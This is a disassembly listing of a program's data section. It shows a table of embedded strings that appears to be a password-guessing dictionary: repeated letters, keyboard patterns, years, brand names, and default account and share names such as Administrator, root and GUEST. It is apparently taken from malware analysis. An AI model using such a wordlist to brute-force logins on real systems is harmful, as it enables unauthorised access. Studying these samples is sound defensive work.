		dd offset aCcccccc	; "ccccccc"
		dd offset aCccccccc	; "cccccccc"
		dd offset aCcccccccc	; "ccccccccc"
		dd offset aD		; "d"
		dd offset aDd		; "dd"
		dd offset aDdd		; "ddd"
		dd offset aDddd		; "dddd"
		dd offset aDdddd	; "ddddd"
		dd offset aF		; "f"
		dd offset aFf		; "ff"
		dd offset aFff		; "fff"
		dd offset aFfff		; "ffff"
		dd offset aFffff	; "fffff"
		dd offset aE		; "e"
		dd offset aEe		; "ee"
		dd offset aEee		; "eee"
		dd offset aEeee		; "eeee"
		dd offset aEeeee	; "eeeee"
		dd offset aEeeeee	; "eeeeee"
		dd offset aG		; "g"
		dd offset aGg		; "gg"
		dd offset aGgg		; "ggg"
		dd offset aGggg		; "gggg"
		dd offset aGgggg	; "ggggg"
		dd offset aGggggg	; "gggggg"
		dd offset asc_42B9BC	; "h"
		dd offset aHh		; "hh"
		dd offset aHhh		; "hhh"
		dd offset aHhhh		; "hhhh"
		dd offset aHhhhh	; "hhhhh"
		dd offset aHhhhhh	; "hhhhhh"
		dd offset aI_1		; "i"
		dd offset aIi		; "ii"
		dd offset aIii		; "iii"
		dd offset aIiii		; "iiii"
		dd offset aIiiii	; "iiiii"
		dd offset aIiiiii	; "iiiiii"
		dd offset aJ		; "j"
		dd offset aJj		; "jj"
		dd offset aJjj		; "jjj"
		dd offset aJjjj		; "jjjj"
		dd offset aJjjjj	; "jjjjj"
		dd offset aJjjjjj	; "jjjjjj"
		dd offset aK		; "k"
		dd offset aKk		; "kk"
		dd offset aKkk		; "kkk"
		dd offset aKkkk		; "kkkk"
		dd offset aKkkkk	; "kkkkk"
		dd offset aKkkkkk	; "kkkkkk"
		dd offset asc_42B92C	; "l"
		dd offset aLl		; "ll"
		dd offset aLll		; "lll"
		dd offset aLlll		; "llll"
		dd offset aLllll	; "lllll"
		dd offset aLlllll	; "llllll"
		dd offset aM_1		; "m"
		dd offset aMm		; "mm"
		dd offset aMmm		; "mmm"
		dd offset aMmmm		; "mmmm"
		dd offset aMmmmm	; "mmmmm"
		dd offset aMmmmmm	; "mmmmmm"
		dd offset aN		; "n"
		dd offset aNn		; "nn"
		dd offset aNnn		; "nnn"
		dd offset aNnnn		; "nnnn"
		dd offset aNnnnn	; "nnnnn"
		dd offset aNnnnnn	; "nnnnnn"
		dd offset aO		; "o"
		dd offset aOo		; "oo"
		dd offset aOoo		; "ooo"
		dd offset aOooo		; "oooo"
		dd offset aOoooo	; "ooooo"
		dd offset aOooooo	; "oooooo"
		dd offset aP		; "p"
		dd offset aPp		; "pp"
		dd offset aPpp		; "ppp"
		dd offset aPppp		; "pppp"
		dd offset aPpppp	; "ppppp"
		dd offset aPppppp	; "pppppp"
		dd offset aU		; "u"
		dd offset aUu		; "uu"
		dd offset aUuu		; "uuu"
		dd offset aUuuu		; "uuuu"
		dd offset aUuuuu	; "uuuuu"
		dd offset aUuuuuu	; "uuuuuu"
		dd offset aS_1		; "s"
		dd offset aSs		; "ss"
		dd offset aSss		; "sss"
		dd offset aSsss		; "ssss"
		dd offset aSssss	; "sssss"
		dd offset aSsssss	; "ssssss"
		dd offset aT		; "t"
		dd offset aTt		; "tt"
		dd offset aTtt		; "ttt"
		dd offset aTttt		; "tttt"
		dd offset aTtttt	; "ttttt"
		dd offset aTttttt	; "tttttt"
		dd offset aY		; "y"
		dd offset aYy		; "yy"
		dd offset aYyy		; "yyy"
		dd offset aYyyy		; "yyyy"
		dd offset aYyyyy	; "yyyyy"
		dd offset aYyyyyy	; "yyyyyy"
		dd offset aV		; "v"
		dd offset aVv		; "vv"
		dd offset aVvv		; "vvv"
		dd offset aVvvv		; "vvvv"
		dd offset aVvvvv	; "vvvvv"
		dd offset aVvvvvv	; "vvvvvv"
		dd offset aW		; "w"
		dd offset aWw		; "ww"
		dd offset aWww		; "www"
		dd offset aWwww		; "wwww"
		dd offset aWwwww	; "wwwww"
		dd offset aWwwwww	; "wwwwww"
		dd offset aQ		; "q"
		dd offset aQq		; "qq"
		dd offset aQqq		; "qqq"
		dd offset aQqqq		; "qqqq"
		dd offset aQqqqq	; "qqqqq"
		dd offset aQqqqqq	; "qqqqqq"
		dd offset aZ		; "z"
		dd offset aZz		; "zz"
		dd offset aZzz		; "zzz"
		dd offset aZzzz		; "zzzz"
		dd offset aZzzzz	; "zzzzz"
		dd offset aZzzzzz	; "zzzzzz"
		dd offset aXxyyzz	; "xxyyzz"
		dd offset aZzxx		; "zzxx"
		dd offset aAass		; "aass"
		dd offset aQqww		; "qqww"
		dd offset aZzzxxxccc	; "zzzxxxccc"
		dd offset aAaasssddd	; "aaasssddd"
		dd offset aQqqwwweee	; "qqqwwweee"
		dd offset aQqwwee	; "qqwwee"
		dd offset aAassdd	; "aassdd"
		dd offset aZzxxcc	; "zzxxcc"
		dd offset a1qaz		; "1qaz"
		dd offset a2wsx		; "2wsx"
		dd offset a2qaz		; "2qaz"
		dd offset a3edc		; "3edc"
		dd offset a3wsx		; "3wsx"
		dd offset a112233	; "112233"
		dd offset aMnb		; "mnb"
		dd offset aMnbv		; "mnbv"
		dd offset a2486		; "2486"
		dd offset a2684		; "2684"
		dd offset a13579	; "13579"
		dd offset a753159	; "753159"
		dd offset a159357	; "159357"
		dd offset a951753	; "951753"
		dd offset a753951	; "753951"
		dd offset a142536	; "142536"
		dd offset aSystem	; "system"
		dd offset aAdministrato_1 ; "ADMINISTRATOR"
		dd offset aAdministrator ; "Administrator"
		dd offset aAdministrato_0 ; "administrator"
		dd offset aFubar	; "fubar"
		dd offset aBla		; "bla"
		dd offset aGuest_1	; "GUEST"
		dd offset aRoot_0	; "ROOT"
		dd offset aRoot		; "root"
		dd offset aAdmin_0	; "ADMIN"
		dd offset aPassword	; "PASSWORD"
		dd offset aTemp		; "TEMP"
		dd offset aShare_0	; "SHARE"
		dd offset aWrite	; "WRITE"
		dd offset aFull_0	; "FULL"
		dd offset aLadeda	; "ladeda"
		dd offset aBoth		; "BOTH"
		dd offset aRead		; "READ"
		dd offset aFiles	; "FILES"
		dd offset aDemo		; "DEMO"
		dd offset aOwner_0	; "OWNER"
		dd offset aOwner_1	; "Owner"
		dd offset aEdu		; "edu"
		dd offset aTest		; "TEST"
		dd offset aAccess	; "ACCESS"
		dd offset aUser_0	; "USER"
		dd offset aBackup	; "BACKUP"
		dd offset aSystem_0	; "SYSTEM"
		dd offset aServer_1	; "SERVER"
		dd offset byte_443398
		dd 0
dword_42B684	dd 10h							; seg000:00402616r ...
a142536		db '142536',0           ; DATA XREF: seg002:0042B604o
		align 10h
a753951		db '753951',0           ; DATA XREF: seg002:0042B600o
		align 4
a951753		db '951753',0           ; DATA XREF: seg002:0042B5FCo
		align 10h
a159357		db '159357',0           ; DATA XREF: seg002:0042B5F8o
		align 4
a753159		db '753159',0           ; DATA XREF: seg002:0042B5F4o
		align 10h
a13579		db '13579',0            ; DATA XREF: seg002:0042B5F0o
		align 4
a2684		db '2684',0             ; DATA XREF: seg002:0042B5ECo
		align 10h
a2486		db '2486',0             ; DATA XREF: seg002:0042B5E8o
		align 4
aMnbv		db 'mnbv',0             ; DATA XREF: seg002:0042B5E4o
		align 10h
aMnb		db 'mnb',0              ; DATA XREF: seg002:0042B5E0o
a112233		db '112233',0           ; DATA XREF: seg002:0042B5DCo
		align 4
a3wsx		db '3wsx',0             ; DATA XREF: seg002:0042B5D8o
		align 4
a3edc		db '3edc',0             ; DATA XREF: seg002:0042B5D4o
		align 4
a2qaz		db '2qaz',0             ; DATA XREF: seg002:0042B5D0o
		align 4
a2wsx		db '2wsx',0             ; DATA XREF: seg002:0042B5CCo
		align 4
a1qaz		db '1qaz',0             ; DATA XREF: seg002:0042B5C8o
		align 4
aZzxxcc		db 'zzxxcc',0           ; DATA XREF: seg002:0042B5C4o
		align 4
aAassdd		db 'aassdd',0           ; DATA XREF: seg002:0042B5C0o
		align 4
aQqwwee		db 'qqwwee',0           ; DATA XREF: seg002:0042B5BCo
		align 4
aQqqwwweee	db 'qqqwwweee',0        ; DATA XREF: seg002:0042B5B8o
		align 4
aAaasssddd	db 'aaasssddd',0        ; DATA XREF: seg002:0042B5B4o
		align 4
aZzzxxxccc	db 'zzzxxxccc',0        ; DATA XREF: seg002:0042B5B0o
		align 10h
aQqww		db 'qqww',0             ; DATA XREF: seg002:0042B5ACo
		align 4
aAass		db 'aass',0             ; DATA XREF: seg002:0042B5A8o
		align 10h
aZzxx		db 'zzxx',0             ; DATA XREF: seg002:0042B5A4o
		align 4
aXxyyzz		db 'xxyyzz',0           ; DATA XREF: seg002:0042B5A0o
		align 10h
aZzzzzz		db 'zzzzzz',0           ; DATA XREF: seg002:0042B59Co
		align 4
aZzzzz		db 'zzzzz',0            ; DATA XREF: seg002:0042B598o
		align 10h
aZzzz		db 'zzzz',0             ; DATA XREF: seg002:0042B594o
		align 4
aZzz		db 'zzz',0              ; DATA XREF: seg002:0042B590o
aZz		db 'zz',0               ; DATA XREF: seg002:0042B58Co
		align 10h
aQqqqqq		db 'qqqqqq',0           ; DATA XREF: seg002:0042B584o
		align 4
aQqqqq		db 'qqqqq',0            ; DATA XREF: seg002:0042B580o
		align 10h
aQqqq		db 'qqqq',0             ; DATA XREF: seg002:0042B57Co
		align 4
aQqq		db 'qqq',0              ; DATA XREF: seg002:0042B578o
aQq		db 'qq',0               ; DATA XREF: seg002:0042B574o
		align 10h
aQ:					; DATA XREF: seg000:00403127o
					; seg002:0042B570o ...
		unicode	0, <q>,0
aWwwwww		db 'wwwwww',0           ; DATA XREF: seg002:0042B56Co
		align 4
aWwwww		db 'wwwww',0            ; DATA XREF: seg002:0042B568o
		align 4
aWwww		db 'wwww',0             ; DATA XREF: seg002:0042B564o
		align 4
aWww		db 'www',0              ; DATA XREF: seg002:0042B560o
aWw		db 'ww',0               ; DATA XREF: seg002:0042B55Co
		align 4
aW:					; DATA XREF: seg002:0042B558o
					; seg002:0043FEDCo
		unicode	0, <w>,0
aVvvvvv		db 'vvvvvv',0           ; DATA XREF: seg002:0042B554o
		align 10h
aVvvvv		db 'vvvvv',0            ; DATA XREF: seg002:0042B550o
		align 4
aVvvv		db 'vvvv',0             ; DATA XREF: seg002:0042B54Co
		align 10h
aVvv		db 'vvv',0              ; DATA XREF: seg002:0042B548o
aVv		db 'vv',0               ; DATA XREF: seg000:004069F5o
					; seg002:0042B544o
		align 4
aV:					; DATA XREF: seg000:00405AAFo
					; seg002:0042B540o ...
		unicode	0, <v>,0
aYyyyyy		db 'yyyyyy',0           ; DATA XREF: seg002:0042B53Co
		align 4
aYyyyy		db 'yyyyy',0            ; DATA XREF: seg002:0042B538o
		align 4
aYyyy		db 'yyyy',0             ; DATA XREF: seg002:0042B534o
		align 4
aYyy		db 'yyy',0              ; DATA XREF: seg002:0042B530o
aYy		db 'yy',0               ; DATA XREF: seg002:0042B52Co
		align 4
aY:					; DATA XREF: seg002:0042B528o
					; seg002:0043FEECo
		unicode	0, <y>,0
aTttttt		db 'tttttt',0           ; DATA XREF: seg002:0042B524o
		align 4
aTtttt		db 'ttttt',0            ; DATA XREF: seg002:0042B520o
		align 10h
aTttt		db 'tttt',0             ; DATA XREF: seg002:0042B51Co
		align 4
aTtt		db 'ttt',0              ; DATA XREF: seg002:0042B518o
aTt		db 'tt',0               ; DATA XREF: seg002:0042B514o
		align 10h
aT:					; DATA XREF: seg000:004031F7o
					; seg002:0042B510o ...
		unicode	0, <t>,0
aSsssss		db 'ssssss',0           ; DATA XREF: seg002:0042B50Co
		align 4
aSssss		db 'sssss',0            ; DATA XREF: seg002:0042B508o
		align 4
aSsss		db 'ssss',0             ; DATA XREF: seg002:0042B504o
		align 4
aSss		db 'sss',0              ; DATA XREF: seg002:0042B500o
aSs		db 'ss',0               ; DATA XREF: seg002:0042B4FCo
		align 4
aS_1:					; DATA XREF: seg000:00403151o
					; seg002:0042B4F8o ...
		unicode	0, <s>,0
aUuuuuu		db 'uuuuuu',0           ; DATA XREF: seg002:0042B4F4o
		align 10h
aUuuuu		db 'uuuuu',0            ; DATA XREF: seg002:0042B4F0o
		align 4
aUuuu		db 'uuuu',0             ; DATA XREF: seg002:0042B4ECo
		align 10h
aUuu		db 'uuu',0              ; DATA XREF: seg002:0042B4E8o
aUu		db 'uu',0               ; DATA XREF: seg002:0042B4E4o
		align 4
aU:					; DATA XREF: seg000:00406A3Ao
					; seg002:0042B4E0o ...
		unicode	0, <u>,0
aPppppp		db 'pppppp',0           ; DATA XREF: seg002:0042B4DCo
		align 4
aPpppp		db 'ppppp',0            ; DATA XREF: seg002:0042B4D8o
		align 4
aPppp		db 'pppp',0             ; DATA XREF: seg002:0042B4D4o
		align 4
aPpp		db 'ppp',0              ; DATA XREF: seg002:0042B4D0o
aPp		db 'pp',0               ; DATA XREF: seg002:0042B4CCo
		align 4
aP:					; DATA XREF: seg000:00406AADo
					; seg002:0042B4C8o ...
		unicode	0, <p>,0
aOooooo		db 'oooooo',0           ; DATA XREF: seg002:0042B4C4o
		align 4
aOoooo		db 'ooooo',0            ; DATA XREF: seg002:0042B4C0o
		align 10h
aOooo		db 'oooo',0             ; DATA XREF: seg002:0042B4BCo
		align 4
aOoo		db 'ooo',0              ; DATA XREF: seg002:0042B4B8o
aOo		db 'oo',0               ; DATA XREF: seg002:0042B4B4o
		align 10h
aO:					; DATA XREF: seg000:0040595Fo
					; seg002:0042B4B0o
		unicode	0, <o>,0
aNnnnnn		db 'nnnnnn',0           ; DATA XREF: seg002:0042B4ACo
		align 4
aNnnnn		db 'nnnnn',0            ; DATA XREF: seg002:0042B4A8o
		align 4
aNnnn		db 'nnnn',0             ; DATA XREF: seg002:0042B4A4o
		align 4
aNnn		db 'nnn',0              ; DATA XREF: seg002:0042B4A0o
aNn		db 'nn',0               ; DATA XREF: seg002:0042B49Co
		align 4
aN:					; DATA XREF: seg000:0040580Fo
					; seg002:0042B498o ...
		unicode	0, <n>,0
aMmmmmm		db 'mmmmmm',0           ; DATA XREF: seg002:0042B494o
		align 10h
aMmmmm		db 'mmmmm',0            ; DATA XREF: seg002:0042B490o
		align 4
aMmmm		db 'mmmm',0             ; DATA XREF: seg002:0042B48Co
		align 10h
aMmm		db 'mmm',0              ; DATA XREF: seg002:0042B488o
aMm		db 'mm',0               ; DATA XREF: seg002:0042B484o
		align 4
aM_1:					; DATA XREF: seg000:0040635Co
					; seg002:0042B480o ...
		unicode	0, <m>,0
aLlllll		db 'llllll',0           ; DATA XREF: seg002:0042B47Co
		align 4
aLllll		db 'lllll',0            ; DATA XREF: seg002:0042B478o
		align 4
aLlll		db 'llll',0             ; DATA XREF: seg002:0042B474o
		align 4
aLll		db 'lll',0              ; DATA XREF: seg002:0042B470o
aLl		db 'll',0               ; DATA XREF: seg002:0042B46Co
		align 4
asc_42B92C:				; DATA XREF: seg002:0042B468o
					; seg002:0043FF1Co
		unicode	0, <l>,0
aKkkkkk		db 'kkkkkk',0           ; DATA XREF: seg002:0042B464o
		align 4
aKkkkk		db 'kkkkk',0            ; DATA XREF: seg002:0042B460o
		align 10h
aKkkk		db 'kkkk',0             ; DATA XREF: seg002:0042B45Co
		align 4
aKkk		db 'kkk',0              ; DATA XREF: seg002:0042B458o
aKk		db 'kk',0               ; DATA XREF: seg002:0042B454o
		align 10h
aK:					; DATA XREF: seg000:004058B7o
					; seg002:0042B450o ...
		unicode	0, <k>,0
aJjjjjj		db 'jjjjjj',0           ; DATA XREF: seg002:0042B44Co
		align 4
aJjjjj		db 'jjjjj',0            ; DATA XREF: seg002:0042B448o
		align 4
aJjjj		db 'jjjj',0             ; DATA XREF: seg002:0042B444o
		align 4
aJjj		db 'jjj',0              ; DATA XREF: seg002:0042B440o
aJj		db 'jj',0               ; DATA XREF: seg002:0042B43Co
		align 4
aJ:					; DATA XREF: seg000:00405839o
					; seg002:0042B438o ...
		unicode	0, <j>,0
aIiiiii		db 'iiiiii',0           ; DATA XREF: seg002:0042B434o
		align 10h
aIiiii		db 'iiiii',0            ; DATA XREF: seg002:0042B430o
		align 4
aIiii		db 'iiii',0             ; DATA XREF: seg002:0042B42Co
		align 10h
aIii		db 'iii',0              ; DATA XREF: seg002:0042B428o
aIi		db 'ii',0               ; DATA XREF: seg002:0042B424o
		align 4
aI_1:					; DATA XREF: seg000:0040317Bo
					; seg002:0042B420o ...
		unicode	0, <i>,0
aHhhhhh		db 'hhhhhh',0           ; DATA XREF: seg002:0042B41Co
		align 4
aHhhhh		db 'hhhhh',0            ; DATA XREF: seg002:0042B418o
		align 4
aHhhh		db 'hhhh',0             ; DATA XREF: seg002:0042B414o
		align 4
aHhh		db 'hhh',0              ; DATA XREF: seg002:0042B410o
aHh		db 'hh',0               ; DATA XREF: seg002:0042B40Co
		align 4
asc_42B9BC:				; DATA XREF: seg002:0042B408o
					; seg002:0043FF10o
		unicode	0, <h>,0
aGggggg		db 'gggggg',0           ; DATA XREF: seg002:0042B404o
		align 4
aGgggg		db 'ggggg',0            ; DATA XREF: seg002:0042B400o
		align 10h
aGggg		db 'gggg',0             ; DATA XREF: seg002:0042B3FCo
		align 4
aGgg		db 'ggg',0              ; DATA XREF: seg002:0042B3F8o
aGg		db 'gg',0               ; DATA XREF: seg002:0042B3F4o
		align 10h
aG:					; DATA XREF: seg002:0042B3F0o
					; seg002:0043FF0Co
		unicode	0, <g>,0
aEeeeee		db 'eeeeee',0           ; DATA XREF: seg002:0042B3ECo
		align 4
aEeeee		db 'eeeee',0            ; DATA XREF: seg002:0042B3E8o
		align 4
aEeee		db 'eeee',0             ; DATA XREF: seg002:0042B3E4o
		align 4
aEee		db 'eee',0              ; DATA XREF: seg002:0042B3E0o
aEe		db 'ee',0               ; DATA XREF: seg002:0042B3DCo
		align 4
aE:					; DATA XREF: seg000:00406556o
					; seg002:0042B3D8o ...
		unicode	0, <e>,0
aFffff		db 'fffff',0            ; DATA XREF: seg002:0042B3D4o
		align 10h
aFfff		db 'ffff',0             ; DATA XREF: seg002:0042B3D0o
		align 4
aFff		db 'fff',0              ; DATA XREF: seg002:0042B3CCo
aFf		db 'ff',0               ; DATA XREF: seg000:00406584o
					; seg002:0042B3C8o
		align 10h
aF:					; DATA XREF: seg002:0042B3C4o
					; seg002:0043FF08o
		unicode	0, <f>,0
aDdddd		db 'ddddd',0            ; DATA XREF: seg002:0042B3C0o
		align 4
aDddd		db 'dddd',0             ; DATA XREF: seg002:0042B3BCo
		align 4
aDdd		db 'ddd',0              ; DATA XREF: seg002:0042B3B8o
aDd		db 'dd',0               ; DATA XREF: seg002:0042B3B4o
		align 4
aD:					; DATA XREF: seg000:004029E8o
					; seg002:0042B3B0o ...
		unicode	0, <d>,0
aCcccccccc	db 'ccccccccc',0        ; DATA XREF: seg002:0042B3ACo
		align 4
aCccccccc	db 'cccccccc',0         ; DATA XREF: seg002:0042B3A8o
		align 4
aCcccccc	db 'ccccccc',0          ; DATA XREF: seg002:0042B3A4o
aCccccc		db 'cccccc',0           ; DATA XREF: seg002:0042B3A0o
		align 4
aCcccc		db 'ccccc',0            ; DATA XREF: seg002:0042B39Co
		align 10h
aCccc_0		db 'cccc',0             ; DATA XREF: seg002:0042B398o
		align 4
aCcc		db 'ccc',0              ; DATA XREF: seg002:0042B394o
aCc		db 'cc',0               ; DATA XREF: seg002:0042B390o
		align 10h
aC:					; DATA XREF: seg000:00406620o
					; seg002:0042B38Co ...
		unicode	0, <c>,0
aBbbbbbbbb	db 'bbbbbbbbb',0        ; DATA XREF: seg002:0042B388o
		align 10h
aBbbbbbbb	db 'bbbbbbbb',0         ; DATA XREF: seg002:0042B384o
		align 4
aBbbbbbb	db 'bbbbbbb',0          ; DATA XREF: seg002:0042B380o
aBbbbbb		db 'bbbbbb',0           ; DATA XREF: seg002:0042B37Co
		align 4
aBbbbb		db 'bbbbb',0            ; DATA XREF: seg002:0042B378o
		align 4
aBbbb		db 'bbbb',0             ; DATA XREF: seg002:0042B374o
		align 4
aBbb		db 'bbb',0              ; DATA XREF: seg002:0042B370o
aBb		db 'bb',0               ; DATA XREF: seg002:0042B36Co
		align 4
aB_0:					; DATA XREF: seg002:0042B368o
					; seg002:0043FF30o
		unicode	0, <b>,0
aRfv		db 'rfv',0              ; DATA XREF: seg002:0042B364o
aEdc		db 'edc',0              ; DATA XREF: seg002:0042B360o
aWsx		db 'wsx',0              ; DATA XREF: seg002:0042B35Co
aQaz		db 'qaz',0              ; DATA XREF: seg002:0042B358o
aAsdfghjkl	db 'asdfghjkl',0        ; DATA XREF: seg002:0042B354o
		align 4
aAsdfghjk	db 'asdfghjk',0         ; DATA XREF: seg002:0042B350o
		align 10h
aAsdfghj	db 'asdfghj',0          ; DATA XREF: seg002:0042B34Co
aAsdfgh		db 'asdfgh',0           ; DATA XREF: seg002:0042B348o
		align 10h
aAsdfg		db 'asdfg',0            ; DATA XREF: seg002:0042B344o
		align 4
aAs		db 'as',0               ; DATA XREF: seg002:0042B338o
		align 4
aZxcvbnm	db 'zxcvbnm',0          ; DATA XREF: seg002:0042B334o
aZxcvbn		db 'zxcvbn',0           ; DATA XREF: seg002:0042B330o
		align 4
aZxcvb		db 'zxcvb',0            ; DATA XREF: seg002:0042B32Co
		align 4
aZxc		db 'zxc',0              ; DATA XREF: seg002:0042B324o
aZx		db 'zx',0               ; DATA XREF: seg002:0042B320o
		align 4
aZ:					; DATA XREF: seg002:0042B31Co
					; seg002:0042B588o ...
		unicode	0, <z>,0
aKonyang	db 'konyang',0          ; DATA XREF: seg002:0042B318o
aToyota		db 'TOYOTA',0
		align 10h
aKor		db 'KOR',0
aKor_0		db 'kor',0
aChi		db 'chi',0
		dd offset byte_494843
aSystem		db 'system',0           ; DATA XREF: seg002:0042B608o
		align 4
aServices	db 'services',0
		align 4
aServers	db 'servers',0
aServer		db 'server',0           ; DATA XREF: seg000:00405974o
		align 4
aQwertyuiop	db 'qwertyuiop',0
		align 10h
aQwertyuio	db 'qwertyuio',0
		align 4
aQwertyui	db 'qwertyui',0
		align 4
aQwertyu	db 'qwertyu',0
aQwe		db 'qwe',0              ; DATA XREF: seg002:0042B290o
aQw		db 'qw',0               ; DATA XREF: seg002:0042B28Co
		align 4
aPassword1	db 'password1',0        ; DATA XREF: seg002:0042B288o
		align 4
aPassword_0	db 'Password',0         ; DATA XREF: seg002:0042B284o
		align 10h
aAaaaaaaaa	db 'aaaaaaaaa',0        ; DATA XREF: seg002:0042B280o
		align 4
aAaaaaaaa	db 'aaaaaaaa',0         ; DATA XREF: seg002:0042B27Co
		align 4
aAaaaaaa	db 'aaaaaaa',0          ; DATA XREF: seg002:0042B278o
aAaaaaa		db 'aaaaaa',0           ; DATA XREF: seg002:0042B274o
		align 4
aAaaaa		db 'aaaaa',0            ; DATA XREF: seg002:0042B270o
		align 10h
aAaaa		db 'aaaa',0             ; DATA XREF: seg002:0042B26Co
		align 4
aAa		db 'aa',0               ; DATA XREF: seg000:004062A4o
					; seg002:0042B264o
		align 4
aXp		db 'XP',0               ; DATA XREF: seg000:0040AEE0o
					; sub_41B2E4+AAo ...
		align 10h
aNokia		db 'NOKIA',0            ; DATA XREF: seg002:0042B258o
		align 4
aSex		db 'SEX',0              ; DATA XREF: seg002:0042B254o
aCreative	db 'CREATIVE',0         ; DATA XREF: seg002:0042B250o
		align 4
aDisc_0		db 'DISC',0             ; DATA XREF: seg002:0042B24Co
		align 10h
aMicrosoft	db 'MICROSOFT',0        ; DATA XREF: seg002:0042B248o
		align 4
aMaster_0	db 'MASTER',0           ; DATA XREF: seg002:0042B244o
		align 4
aSony_0		db 'SONY',0             ; DATA XREF: seg002:0042B240o
		align 4
aSamsung	db 'samsung',0          ; DATA XREF: seg002:0042B23Co
aSamsung_0	db 'SAMSUNG',0          ; DATA XREF: seg002:0042B238o
aSony		db 'sony',0             ; DATA XREF: seg002:0042B234o
		align 4
a7654321	db '7654321',0          ; DATA XREF: seg002:0042B230o
a4321		db '4321',0             ; DATA XREF: seg002:0042B224o
		align 4
a321		db '321',0              ; DATA XREF: seg002:0042B220o
a2006		db '2006',0             ; DATA XREF: seg002:0042B218o
		align 10h
a2005		db '2005',0             ; DATA XREF: seg002:0042B214o
		align 4
a2004		db '2004',0             ; DATA XREF: seg002:0042B210o
		align 10h
a2001		db '2001',0             ; DATA XREF: seg002:0042B204o
		align 4
a2000		db '2000',0             ; DATA XREF: seg002:0042B200o
		align 10h
a1999		db '1999',0             ; DATA XREF: seg002:0042B1FCo
		align 4
a1998		db '1998',0             ; DATA XREF: seg002:0042B1F8o
		align 10h
a1997		db '1997',0             ; DATA XREF: seg002:0042B1F4o
		align 4
a1996		db '1996',0             ; DATA XREF: seg002:0042B1F0o
		align 10h
a1995		db '1995',0             ; DATA XREF: seg002:0042B1ECo
		align 4
a1994		db '1994',0             ; DATA XREF: seg002:0042B1E8o
		align 10h
a1993		db '1993',0             ; DATA XREF: seg002:0042B1E4o
		align 4
a1992		db '1992',0             ; DATA XREF: seg002:0042B1E0o
		align 10h
a1991		db '1991',0             ; DATA XREF: seg002:0042B1DCo
		align 4
a1990		db '1990',0             ; DATA XREF: seg002:0042B1D8o
		align 10h
a1989		db '1989',0             ; DATA XREF: seg002:0042B1D4o
		align 4
a1988		db '1988',0             ; DATA XREF: seg002:0042B1D0o
		align 10h
a1987		db '1987',0             ; DATA XREF: seg002:0042B1CCo
		align 4
a1986		db '1986',0             ; DATA XREF: seg002:0042B1C8o
		align 10h
a1985		db '1985',0             ; DATA XREF: seg002:0042B1C4o
		align 4
a1984		db '1984',0             ; DATA XREF: seg002:0042B1C0o
		align 10h
a1983		db '1983',0             ; DATA XREF: seg002:0042B1BCo
		align 4
a1982		db '1982',0             ; DATA XREF: seg002:0042B1B8o
		align 10h
a1981		db '1981',0             ; DATA XREF: seg002:0042B1B4o
		align 4
a1980		db '1980',0             ; DATA XREF: seg002:0042B1B0o
		align 10h
a1979		db '1979',0             ; DATA XREF: seg002:0042B1ACo
		align 4
a1978		db '1978',0             ; DATA XREF: seg002:0042B1A8o
		align 10h
a1977		db '1977',0             ; DATA XREF: seg002:0042B1A4o
		align 4
a1976		db '1976',0             ; DATA XREF: seg002:0042B1A0o
		align 10h
a1975		db '1975',0             ; DATA XREF: seg002:0042B19Co
		align 4
a1974		db '1974',0             ; DATA XREF: seg002:0042B198o
		align 10h
a1973		db '1973',0             ; DATA XREF: seg002:0042B194o
		align 4
a1972		db '1972',0             ; DATA XREF: seg002:0042B190o
		align 10h
a1971		db '1971',0             ; DATA XREF: seg002:0042B18Co
		align 4
a1970		db '1970',0             ; DATA XREF: seg002:0042B188o
		align 10h
a1969		db '1969',0             ; DATA XREF: seg002:0042B184o
		align 4
a1968		db '1968',0             ; DATA XREF: seg002:0042B180o
		align 10h
a1967		db '1967',0             ; DATA XREF: seg002:0042B17Co
		align 4
a1966		db '1966',0             ; DATA XREF: seg002:0042B178o
		align 10h
a1965		db '1965',0             ; DATA XREF: seg002:0042B174o
		align 4
a1964		db '1964',0             ; DATA XREF: seg002:0042B170o
		align 10h
a1963		db '1963',0             ; DATA XREF: seg002:0042B16Co
		align 4
a1962		db '1962',0             ; DATA XREF: seg002:0042B168o
		align 10h
a1961		db '1961',0             ; DATA XREF: seg002:0042B164o
		align 4
a1960		db '1960',0             ; DATA XREF: seg002:0042B160o
		align 10h
a1959		db '1959',0             ; DATA XREF: seg002:0042B15Co
		align 4
a1958		db '1958',0             ; DATA XREF: seg002:0042B158o
		align 10h
a1957		db '1957',0             ; DATA XREF: seg002:0042B154o
		align 4
a1956		db '1956',0             ; DATA XREF: seg002:0042B150o
		align 10h
a1955		db '1955',0             ; DATA XREF: seg002:0042B14Co
		align 4
a1954		db '1954',0             ; DATA XREF: seg002:0042B148o
		align 10h
a1953		db '1953',0             ; DATA XREF: seg002:0042B144o
		align 4
a1952		db '1952',0             ; DATA XREF: seg002:0042B140o
		align 10h
a1234qwe	db '1234qwe',0          ; DATA XREF: seg002:0042B13Co
a1234asd	db '1234asd',0          ; DATA XREF: seg002:0042B138o
a1234abc	db '1234abc',0          ; DATA XREF: seg002:0042B134o
a123qwer	db '123qwer',0          ; DATA XREF: seg002:0042B120o
a12qwe		db '12qwe',0            ; DATA XREF: seg002:0042B11Co
		align 4
a12asd		db '12asd',0            ; DATA XREF: seg002:0042B118o
		align 10h
a12abc		db '12abc',0            ; DATA XREF: seg002:0042B114o
		align 4
a12qwer		db '12qwer',0           ; DATA XREF: seg002:0042B110o
		align 10h
a1qwe		db '1qwe',0             ; DATA XREF: seg002:0042B10Co
		align 4
a1asd		db '1asd',0             ; DATA XREF: seg002:0042B108o
		align 10h
a1abc		db '1abc',0             ; DATA XREF: seg002:0042B104o
		align 4
a1qwer		db '1qwer',0            ; DATA XREF: seg002:0042B100o
		align 10h
a123467890	db '123467890',0        ; DATA XREF: seg002:0042B0FCo
		align 4
a12346789	db '12346789',0         ; DATA XREF: seg002:0042B0F8o
		align 4
a1234678	db '1234678',0          ; DATA XREF: seg002:0042B0F4o
a123467		db '123467',0           ; DATA XREF: seg002:0042B0F0o
		align 4
a12346		db '12346',0            ; DATA XREF: seg002:0042B0ECo
		align 10h
a121		db '121',0              ; DATA XREF: seg002:0042B0C4o
a1020		db '1020',0             ; DATA XREF: seg002:0042B0BCo
		align 4
a0258		db '0258',0             ; DATA XREF: seg002:0042B0B8o
		align 4
a8520		db '8520',0             ; DATA XREF: seg002:0042B0B4o
		align 4
a987		db '987',0              ; DATA XREF: seg002:0042B0B0o
a789		db '789',0              ; DATA XREF: seg002:0042B0ACo
a654		db '654',0              ; DATA XREF: seg002:0042B0A8o
a456		db '456',0              ; DATA XREF: seg002:0042B0A4o
a1122		db '1122',0             ; DATA XREF: seg002:0042B0A0o
		align 4
a0147		db '0147',0             ; DATA XREF: seg002:0042B09Co
		align 4
